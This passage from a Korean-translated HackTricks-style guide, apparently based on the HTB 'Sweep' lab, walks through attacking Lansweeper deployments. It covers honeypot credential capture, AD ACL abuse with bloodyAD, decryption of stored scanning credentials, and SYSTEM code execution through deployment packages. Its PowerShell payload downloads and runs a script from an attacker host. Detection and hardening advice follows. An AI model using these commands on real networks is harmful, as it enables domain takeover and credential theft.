sudo apt install -y sshesame
|
||||
sshesame --config sshesame.conf
|
||||
# Expect client banner similar to RebexSSH and cleartext creds
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
캡처한 creds를 DC services에 대해 검증:
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Notes
|
||||
- 다른 프로토콜에서도 scanner를 당신의 listener로 유도할 수 있다면 비슷하게 작동합니다 (SMB/WinRM honeypots 등). SSH가 종종 가장 간단합니다.
|
||||
- 많은 scanners가 고유한 client banners로 자신을 식별(예: RebexSSH)하며, uname, whoami 등의 무해한 명령을 시도합니다.
|
||||
|
||||
## 2) AD ACL abuse: 자신을 app-admin group에 추가해 원격 접근 획득
|
||||
|
||||
침해된 계정으로부터 effective rights를 열거하려면 BloodHound를 사용하세요. 흔한 발견 사례는 scanner- 또는 앱 특정 그룹(예: “Lansweeper Discovery”)이 권한 있는 그룹(예: “Lansweeper Admins”)에 대해 GenericAll을 보유하고 있는 경우입니다. 해당 권한 그룹이 “Remote Management Users”의 멤버이기도 하면, 우리가 자신을 추가하면 WinRM이 사용 가능해집니다.
|
||||
|
||||
Collection examples:
|
||||
```bash
|
||||
# NetExec collection with LDAP
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
|
||||
|
||||
# RustHound-CE collection (zip for BH CE import)
|
||||
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
|
||||
```
|
||||
BloodyAD (Linux)로 그룹에서 GenericAll을 Exploit:
|
||||
```bash
|
||||
# Add our user into the target group
|
||||
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
|
||||
add groupMember "Lansweeper Admins" svc_inventory_lnx
|
||||
|
||||
# Confirm WinRM access if the group grants it
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
그런 다음 interactive shell을 얻으세요:
|
||||
```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
팁: Kerberos 연산은 시간에 민감합니다. KRB_AP_ERR_SKEW가 발생하면 먼저 DC와 시간을 동기화하세요:
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
## 3) 호스트에서 Lansweeper에 구성된 비밀 복호화
|
||||
|
||||
Lansweeper 서버에서 ASP.NET 사이트는 일반적으로 애플리케이션에서 사용하는 암호화된 연결 문자열과 대칭 키를 저장합니다. 적절한 로컬 접근 권한이 있으면 DB 연결 문자열을 복호화한 다음 저장된 스캔 자격 증명을 추출할 수 있습니다.
|
||||
|
||||
Typical locations:
|
||||
- 웹 구성 파일: `C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- 애플리케이션 키: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
SharpLansweeperDecrypt를 사용해 저장된 자격 증명 복호화 및 덤프를 자동화합니다:
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
|
||||
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# Tool will:
|
||||
# - Decrypt connectionStrings from web.config
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
예상 출력에는 DB 연결 정보 및 plaintext 스캐닝 자격 증명(환경 전반에 걸쳐 사용되는 Windows 및 Linux 계정 등)이 포함됩니다. 이러한 계정은 도메인 호스트에서 종종 높은 로컬 권한을 가집니다:
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
복구된 Windows scanning creds를 privileged access에 사용:
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
```
|
||||
## 4) Lansweeper Deployment → SYSTEM RCE
|
||||
|
||||
“As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
|
||||
|
||||
High-level steps:
|
||||
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
|
||||
- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
|
||||
- Catch your shell as SYSTEM.
|
||||
|
||||
Example payloads (PowerShell):
|
||||
```powershell
|
||||
# Simple test
|
||||
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
|
||||
# Reverse shell example (adapt to your listener)
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
OPSEC
|
||||
- 배포 행동은 소음을 유발하며 Lansweeper 및 Windows event logs에 로그를 남깁니다. 신중하게 사용하세요.
|
||||
|
||||
## 탐지 및 하드닝
|
||||
|
||||
- 익명 SMB 열거를 제한하거나 제거하세요. RID cycling 및 Lansweeper shares에 대한 이상 접근을 모니터링하세요.
|
||||
- Egress controls: scanner hosts에서의 outbound SSH/SMB/WinRM을 차단하거나 엄격히 제한하세요. 비표준 포트(예: 2022) 및 Rebex와 같은 비정상적인 클라이언트 배너에 대해 경보를 설정하세요.
|
||||
- Protect `Website\\web.config` and `Key\\Encryption.txt`. 비밀은 vault로 외부화하고 노출 시 회전(rotate)하세요. 가능하면 최소 권한의 서비스 계정 및 gMSA 사용을 고려하세요.
|
||||
- AD 모니터링: Lansweeper-related groups(예: “Lansweeper Admins”, “Remote Management Users”) 변경 및 권한 있는 그룹에 GenericAll/Write 멤버십을 부여하는 ACL 변경에 대해 경고하세요.
|
||||
- Deployment 패키지 생성/변경/실행을 감사하고; cmd.exe/powershell.exe를 생성하거나 예상치 못한 outbound 연결을 생성하는 패키지에 대해 경보를 설정하세요.
|
||||
|
||||
## 관련 주제
|
||||
- SMB/LSA/SAMR enumeration 및 RID cycling
|
||||
- Kerberos password spraying 및 clock skew 고려사항
|
||||
- BloodHound path analysis of application-admin groups
|
||||
- WinRM 사용 및 lateral movement
|
||||
|
||||
## References
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
|
||||
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
|
||||
- [BloodyAD](https://github.com/CravateRouge/bloodyAD)
|
||||
- [BloodHound CE](https://github.com/SpecterOps/BloodHound)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user